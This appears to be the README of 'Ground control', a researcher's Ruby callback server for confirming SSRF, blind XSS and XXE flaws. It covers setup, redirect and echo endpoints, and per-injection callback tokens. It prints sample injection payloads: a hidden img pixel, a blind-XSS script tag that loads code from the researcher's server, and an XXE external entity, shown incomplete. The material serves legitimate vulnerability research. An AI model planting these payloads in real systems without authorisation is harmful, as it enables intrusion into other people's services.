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Ground control

This is a collection of most of my scripts that I use to debug Server Side Request Forgery (SSRF), blind XSS, and insecure XXE processing vulnerabilities. This is still a work in progress, as I'm still collecting all the scripts that I have lingering around. Before using these scripts, I used to rewrite these scripts most of the time or set up listeners with netcat. That wasn't scalable, so I started collecting the scripts in a repository, which can be closed easily every time it's needed it on a server.


Running this script requires Ruby 2.3, a valid SSL certificate for a domain you own, and a web server that allows to open port 80, 443, 8080, and 8443. Port 80 and 443 are used to serve simple web traffic. Port 8080 is an alternative HTTP port that can be useful when traffic on port 80 is blocked. Port 8443 is an alternative port for HTTPS traffic, with the difference that it serves a self-signed SSL certificate. I use this port to determine whether the server does SSL certificate validation. It does not warrant a security report by itself, but is often useful to mention when you're filing the SSRF vulnerability.

Setting up

Clone this repository and install the required components by running After that, run to start to listen on all ports. For now, root privileges are required because it listens on port 80 and 443. A future version might solve this problem by switching to a different user context after startup.



The /redirect endpoint is used to redirect a request to another server or endpoint. This may assist you when you need an external server to redirect back to an internal system. See below for examples.

curl -vv "http://server/redirect?url="

Ping Pong

Sometimes, you simply need a page that responds with a certain body and headers. The /ping_pong endpoint does exactly that. Here's a few examples.

curl -vv "http://server/ping_pong?body=%3ch1%3eHello%3c/h1%3e"

Blind callbacks

To figure out of an inaccessible system is executing your HTML or XSS payload, add an item the callback_tokens in config.json. The structure is shown below. This callback contains information where you injected your payload. This will help you identify the root cause of the vulnerability if you receive a callback. Every unique combination of parameter, host, port, path, and method is supposed to have its own callback_token.

  "callback_tokens": {
    "ee34a1791ab345f789": {
      "host": "",
      "port": 443,
      "ssl": true,
      "path": "/webhooks",
      "parameter": "url",
      "method": "POST"

Depending on what type of vulnerability you want to test for, you have to construct a payload. See below for an example for HTML injections and XSS vulnerabilities. Then, submit the payload to the injection point. You'll see a log entry in logs/access_log when a request with that callback_token was triggered. Most of the time, I use tail -f logs/access_log to see if something triggered.

HTML injection

<img src="https://server/pixel?callback_token=ee34a1791ab345f789" style="display:none;"/>

Blind XSS

<script src="https://server/collect?callback_token=ee34a1791ab345f789"></script>


<?xml version="1.0" ?>
<!ENTITY sp SYSTEM "http://server/pixel?callback_token=ee34a1791ab345f789">

Starting another server

The server listens on port 80, 443, 8080, and 8443 by default. However, if you want to start another server on a different port, run ruby app/server.rb -p :port. To use SSL, append -cert :cert.pem. This is especially useful when a potential SSRF vulnerability only allows to connect on certain ports. Say bye to all the Apache and nginx configuration hacking!


A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.






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